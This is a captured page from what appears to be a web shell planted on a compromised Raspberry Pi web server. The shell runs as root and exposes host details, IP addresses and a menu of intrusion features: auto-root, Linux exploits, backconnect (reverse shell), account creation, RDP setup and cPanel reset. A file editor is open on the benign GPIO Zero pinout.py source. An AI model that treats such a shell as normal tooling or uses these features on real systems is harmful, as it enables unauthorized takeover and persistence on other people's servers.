Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
gpiozerocli /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
pinout.py
3.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pinout.py
# vim: set fileencoding=utf-8: # # GPIO Zero: a library for controlling the Raspberry Pi's GPIO pins # # Copyright (c) 2017-2021 Dave Jones <dave@waveform.org.uk> # Copyright (c) 2017 Ben Nuttall <ben@bennuttall.com> # # SPDX-License-Identifier: BSD-3-Clause """ A utility for querying Raspberry Pi GPIO pin-out information. """ from __future__ import ( unicode_literals, absolute_import, print_function, division, ) import argparse import sys import textwrap import warnings import webbrowser from gpiozero import pi_info class PinoutTool(object): def __init__(self): self.parser = argparse.ArgumentParser( description=__doc__ ) self.parser.add_argument( '-r', '--revision', dest='revision', default='', help='RPi revision. Default is to autodetect revision of current device' ) self.parser.add_argument( '-c', '--color', action="store_true", default=None, help='Force colored output (by default, the output will include ANSI' 'color codes if run in a color-capable terminal). See also --monochrome' ) self.parser.add_argument( '-m', '--monochrome', dest='color', action='store_false', help='Force monochrome output. See also --color' ) self.parser.add_argument( '-x', '--xyz', dest='xyz', action='store_true', help='Open pinout.xyz in the default web browser' ) def __call__(self, args=None): if args is None: args = sys.argv[1:] try: return self.main(self.parser.parse_args(args)) or 0 except argparse.ArgumentError as e: # argparse errors are already nicely formatted, print to stderr and # exit with code 2 raise e except Exception as e: raise # Output anything else nicely formatted on stderr and exit code 1 self.parser.exit(1, '{prog}: error: {message}\n'.format( prog=self.parser.prog, message=e)) def main(self, args): warnings.simplefilter('ignore') if args.xyz: webbrowser.open('https://pinout.xyz') else: if args.revision == '': try: pi_info().pprint(color=args.color) except ImportError: formatter = self.parser._get_formatter() formatter.add_text( "Unable to initialize GPIO Zero. This usually means " "that you are not running %(prog)s on a Raspberry Pi. " "If you still wish to run %(prog)s, set the " "GPIOZERO_PIN_FACTORY environment variable to 'mock' " "and retry, or refer to the Remote GPIO section of " "the manual* to configure your environment to " "remotely access your Pi." ) formatter.add_text( "* https://gpiozero.readthedocs.io/en/stable/" "remote_gpio.html" ) sys.stderr.write(formatter.format_help()) except IOError: raise IOError('This device is not a Raspberry Pi') else: pi_info(args.revision).pprint(color=args.color) formatter = self.parser._get_formatter() formatter.add_text( "For further information, please refer to " "https://pinout.xyz/" ) sys.stdout.write('\n') sys.stdout.write(formatter.format_help()) main = PinoutTool()
Close